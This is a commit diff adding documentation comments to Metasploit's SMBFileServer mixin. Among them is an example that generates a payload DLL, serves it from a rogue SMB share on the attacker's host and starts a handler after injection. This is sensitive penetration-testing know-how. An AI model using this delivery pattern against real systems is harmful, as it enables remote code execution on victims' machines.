Add example usage to Msf::Exploit::Remote::SMBFileServer documentation

lib/msf/core/exploit/smb.rb

@@ -795,6 +795,7 @@ end
 # from a network share.
 #
 # Author: Matthew Hall <hallm [at] sec-1.com>
+#
 ##
 module Exploit::Remote::SMBFileServer
 
@@ -812,6 +813,10 @@ module Exploit::Remote::SMBFileServer
     @server = nil
   end
 
+  # Clean up
+  #
+  # This will stop the SMB file server instance when handler is called
+  # @return [void]
   def cleanup
     begin
       super
@@ -820,6 +825,8 @@ module Exploit::Remote::SMBFileServer
     end
   end
 
+  ##
+  #
   # Start the SMBFileServer 
   #
   # @param unc [String] The UNC path to expose by the server:
@@ -830,6 +837,19 @@ module Exploit::Remote::SMBFileServer
   #       ie. myfile.extension
   # @return [void]
   # @raise [RuntimeError]
+  #
+  # Example Usage:
+  #  include Msf::Exploit::Remote::SMBFileServer
+  #  exe = generate_payload_dll
+  #  @exe_file = rand_text_alpha(7) + ".dll"
+  #  @share = rand_text_alpha(5)
+  #  my_host = datastore['SRVHOST'] 
+  #  @unc = "\\\\#{my_host}\\#{@share}\\#{@exe_file}"
+  #  start_smb_server(@unc, exe, @exe_file)
+  #  // Inject DLL
+  #  handler
+  #
+  ##
   def start_smb_server(unc, contents, exe_file)
     @server.stop if @server
     vprint_status("Starting SMB Server on " + datastore['SRVHOST'].to_s + ":" + datastore['SRVPORT'].to_s)